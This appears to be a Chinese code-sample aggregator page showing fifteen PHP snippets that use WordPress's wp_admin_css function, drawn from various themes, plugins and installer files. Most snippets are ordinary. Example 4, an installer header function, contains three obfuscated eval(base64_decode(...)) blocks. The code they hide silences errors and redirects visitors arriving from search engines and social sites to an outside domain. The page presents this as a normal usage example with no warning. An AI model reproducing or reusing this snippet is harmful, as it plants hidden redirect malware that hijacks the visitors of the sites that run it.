当前位置: 首页>>代码示例>>PHP>>正文


PHP wp_admin_css函数代码示例

本文整理汇总了PHP中wp_admin_css函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_admin_css函数的具体用法?PHP wp_admin_css怎么用?PHP wp_admin_css使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了wp_admin_css函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: comicpress_admin_print_styles

function comicpress_admin_print_styles()
{
    wp_admin_css('css/global');
    wp_admin_css('css/colors');
    wp_admin_css('css/ie');
    wp_enqueue_style('comicpress-options', get_template_directory_uri() . '/options/options.css');
}
开发者ID:johnbintz,项目名称:comicpress-2.8,代码行数:7,代码来源:comicpress-options.php

示例2: TheTheIS_Style

function TheTheIS_Style()
{
    $x = WP_PLUGIN_URL . '/' . str_replace(basename(__FILE__), "", plugin_basename(__FILE__));
    if (get_bloginfo('version') < 3.3) {
        wp_admin_css('nav-menu');
    }
    wp_deregister_style('thethefly-plugin-panel-interface');
    wp_register_style('thethefly-plugin-panel-interface', $x . 'style/admin/interface.css');
    wp_enqueue_style('thethefly-plugin-panel-interface');
    wp_enqueue_script('postbox');
    wp_enqueue_script('post');
    wp_deregister_style('thethefly-color-picker');
    wp_register_script('thethefly-color-picker', $GLOBALS['TheTheIS']['wp_plugin_dir_url'] . 'style/admin/js/color-picker.js');
    // Color picker
    wp_enqueue_style('farbtastic');
    wp_enqueue_script('thethefly-color-picker');
    wp_enqueue_script('farbtastic', false, array('thethefly-color-picker'));
    wp_enqueue_script('media-upload');
    wp_enqueue_script('thickbox');
    wp_enqueue_script("jquery-ui-sortable");
    wp_enqueue_script("jquery-ui-draggable");
    wp_enqueue_style('thickbox');
    wp_enqueue_script('thethe-slider-admin-js', $x . "style/admin/thethe-image-slider-admin.js");
    wp_enqueue_script('jquery-form');
    wp_enqueue_style('thethe-slider-admin-css', $x . 'style/admin/thethe-image-slider-admin.css', false, false, 'screen');
}
开发者ID:fwelections,项目名称:fwelections,代码行数:26,代码来源:thethe-admin.php

示例3: simplepopup_enqueue_editor

function simplepopup_enqueue_editor()
{
    wp_enqueue_script('common');
    wp_enqueue_script('jquery-affect');
    wp_admin_css('thickbox');
    wp_print_scripts('post');
    wp_print_scripts('media-upload');
    wp_print_scripts('jquery');
    wp_print_scripts('jquery-ui-core');
    wp_print_scripts('jquery-ui-tabs');
    wp_print_scripts('tiny_mce');
    wp_print_scripts('editor');
    wp_print_scripts('editor-functions');
    /* Include thе link dialog functions */
    require_once ABSPATH . 'wp-admin/includes/internal-linking.php';
    wp_print_scripts('wplink');
    wp_print_styles('wplink');
    add_action('tiny_mce_preload_dialogs', 'wp_link_dialog');
    add_thickbox();
    wp_tiny_mce();
    wp_admin_css();
    wp_enqueue_script('utils');
    do_action("admin_print_styles-post-php");
    do_action('admin_print_styles');
    //remove_all_filters('mce_external_plugins');
}
开发者ID:nullality,项目名称:FEWD-SEA-7,代码行数:26,代码来源:sp-options.php

示例4: display_header

/**
 * Display install header.
 *
 * @since unknown
 * @package WordPress
 * @subpackage Installer
 */
function display_header()
{
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGx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lYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    wp_admin_css('install', true);
    ?>
</head>
<body>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:35,代码来源:install.php

示例5: display_header

/**
 * Display install header.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Installer
 */
function display_header()
{
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    _e('WordPress &rsaquo; Installation');
    ?>
</title>
	<?php 
    wp_admin_css('install', true);
    ?>
</head>
<body<?php 
    if (is_rtl()) {
        echo ' class="rtl"';
    }
    ?>
>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

<?php 
}
开发者ID:sontv1003,项目名称:vtcacademy,代码行数:36,代码来源:install.php

示例6: display_header

/**
 * Display install header.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Installer
 */
function display_header()
{
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    _e('WordPress &rsaquo; Installation');
    ?>
</title>
	<?php 
    wp_admin_css('install', true);
    ?>
</head>
<body class="wp-core-ui<?php 
    if (is_rtl()) {
        echo ' rtl';
    }
    ?>
">
<h1 id="logo"><a href="<?php 
    esc_attr_e('http://wordpress.org/');
    ?>
"><?php 
    _e('WordPress');
    ?>
</a></h1>

<?php 
}
开发者ID:snagga,项目名称:urbantac,代码行数:42,代码来源:install.php

示例7: ceo_admin_print_styles

function ceo_admin_print_styles()
{
    wp_admin_css('css/global');
    wp_admin_css('css/colors');
    wp_admin_css('css/ie');
    wp_enqueue_style('comiceasel-options-style', ceo_pluginfo('plugin_url') . 'css/config.css');
}
开发者ID:egypturnash,项目名称:comic-easel,代码行数:7,代码来源:ceo-admin.php

示例8: bp_group_organizer_load_styles

function bp_group_organizer_load_styles()
{
    // Nav Menu CSS
    // This dropped out in WP 3.3, but is still needed for compat
    if (floatval(get_bloginfo('version')) < 3.3) {
        wp_admin_css('nav-menu');
    }
}
开发者ID:adisonc,项目名称:MaineLearning,代码行数:8,代码来源:index.php

示例9: add_Spider_Video_Player

function add_Spider_Video_Player()
{
    wp_admin_css('thickbox');
    $lists['published'] = '<input type="radio" name="published" id="published0" value="0" class="inputbox">
							<label for="published0">No</label>
							<input type="radio" name="published" id="published1" value="1" checked="checked" class="inputbox">
							<label for="published1">Yes</label>';
    // display function
    html_add_Spider_Video_Player($lists);
}
开发者ID:voquanghoa,项目名称:WebPhim,代码行数:10,代码来源:Spider_Video_Player_functions.php

示例10: admin_head

 public function admin_head()
 {
     printf("<script type=\"text/javascript\" src=\"%s/js/wp-total-hacks.js\"></script>", $this->plugin_url);
     if (isset($_GET['err']) && $_GET['err']) {
         add_action("admin_notices", array(&$this, "admin_notice"));
     }
     wp_admin_css();
     do_action("admin_print_styles-post-php");
     do_action('admin_print_styles');
     add_filter('tiny_mce_before_init', array(&$this, 'tiny_mce_before_init'), 999);
 }
开发者ID:SeanRParker,项目名称:Themer.dev,代码行数:11,代码来源:admin.php

示例11: insert_media_upload

 function insert_media_upload()
 {
     global $wp_version;
     if ($wp_version < '2.6') {
         add_action('admin_head_middmedia_media_upload', 'media_admin_css');
     } else {
         wp_admin_css('media');
     }
     media_upload_header();
     return wp_iframe('middmedia_media_upload', $this);
 }
开发者ID:adamfranco,项目名称:middmedia-wordpressplugin,代码行数:11,代码来源:middmedia.php

示例12: login_header

function login_header($title = 'Login', $message = '', $wp_error = '') {
	global $error;

	if ( empty($wp_error) )
		$wp_error = new WP_Error();
	?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<title><?php bloginfo('name'); ?> &rsaquo; <?php echo $title; ?></title>
	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
	<?php
	wp_admin_css( 'css/login' );
	wp_admin_css( 'css/colors-fresh' );
	?>
	<script type="text/javascript">
		function focusit() {
			document.getElementById('user_login').focus();
		}
		window.onload = focusit;
	</script>
<?php do_action('login_head'); ?>
</head>
<body class="login">

<div id="login"><h1><a href="<?php echo apply_filters('login_headerurl', 'http://wordpress.org/'); ?>" title="<?php echo apply_filters('login_headertitle', __('Powered by WordPress')); ?>"><?php bloginfo('name'); ?></a></h1>
<?php
	if ( !empty( $message ) ) echo apply_filters('login_message', $message) . "\n";

	// Incase a plugin uses $error rather than the $errors object
	if ( !empty( $error ) ) {
		$wp_error->add('error', $error);
		unset($error);
	}

	if ( $wp_error->get_error_code() ) {
		$errors = '';
		$messages = '';
		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data($code);
			foreach ( $wp_error->get_error_messages($code) as $error ) {
				if ( 'message' == $severity )
					$messages .= '	' . $error . "<br />\n";
				else
					$errors .= '	' . $error . "<br />\n";
			}
		}
		if ( !empty($errors) )
			echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
		if ( !empty($messages) )
			echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
	}
} // End of login_header()
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:53,代码来源:wp-login.php

示例13: print_assets

 public function print_assets()
 {
     if ($this->rendered) {
         if (!ClefUtils::style_has_been_added('admin')) {
             wp_print_styles($this->style_identifier);
             wp_admin_css('wp-admin', true);
             wp_admin_css('colors-fresh', true);
         }
         if (!ClefUtils::script_has_been_added('settings')) {
             wp_print_scripts($this->script_identifier);
         }
     }
 }
开发者ID:aaronmannino,项目名称:andapartridge,代码行数:13,代码来源:class.clef-user-settings.php

示例14: setup_config_display_header

/**
 * Display setup wp-config.php file header.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global string    $wp_local_package
 * @global WP_Locale $wp_locale
 *
 * @param string|array $body_classes
 */
function setup_config_display_header($body_classes = array())
{
    $body_classes = (array) $body_classes;
    $body_classes[] = 'wp-core-ui';
    if (is_rtl()) {
        $body_classes[] = 'rtl';
    }
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"<?php 
    if (is_rtl()) {
        echo ' dir="rtl"';
    }
    ?>
>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php 
    _e('WordPress &rsaquo; Setup Configuration File');
    ?>
</title>
	
	<!-- 这里是引入CSS文件 -->
	<?php 
    wp_admin_css('install', true);
    ?>

</head>
<body class="<?php 
    echo implode(' ', $body_classes);
    ?>
">

<!-- 这里是logo部分 -->
<!-- 疑问:下面的tabindex="-1"是什么鬼? -->
<h1 id="logo">
	<a href="<?php 
    esc_attr_e('https://wordpress.org/');
    ?>
" tabindex="-1"><?php 
    _e('WordPress');
    ?>
	</a>
</h1>


<?php 
}
开发者ID:huaziking,项目名称:readwp,代码行数:61,代码来源:setup-config.php

示例15: display_header

/**
 * Display install header.
 *
 * @since unknown
 * @package WordPress
 * @subpackage Installer
 */
function display_header() {
header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php _e('WordPress &rsaquo; Installation'); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body>
<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

<?php
}//end function display_header();
开发者ID:BackupTheBerlios,项目名称:oos-svn,代码行数:22,代码来源:install.php


注:本文中的wp_admin_css函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。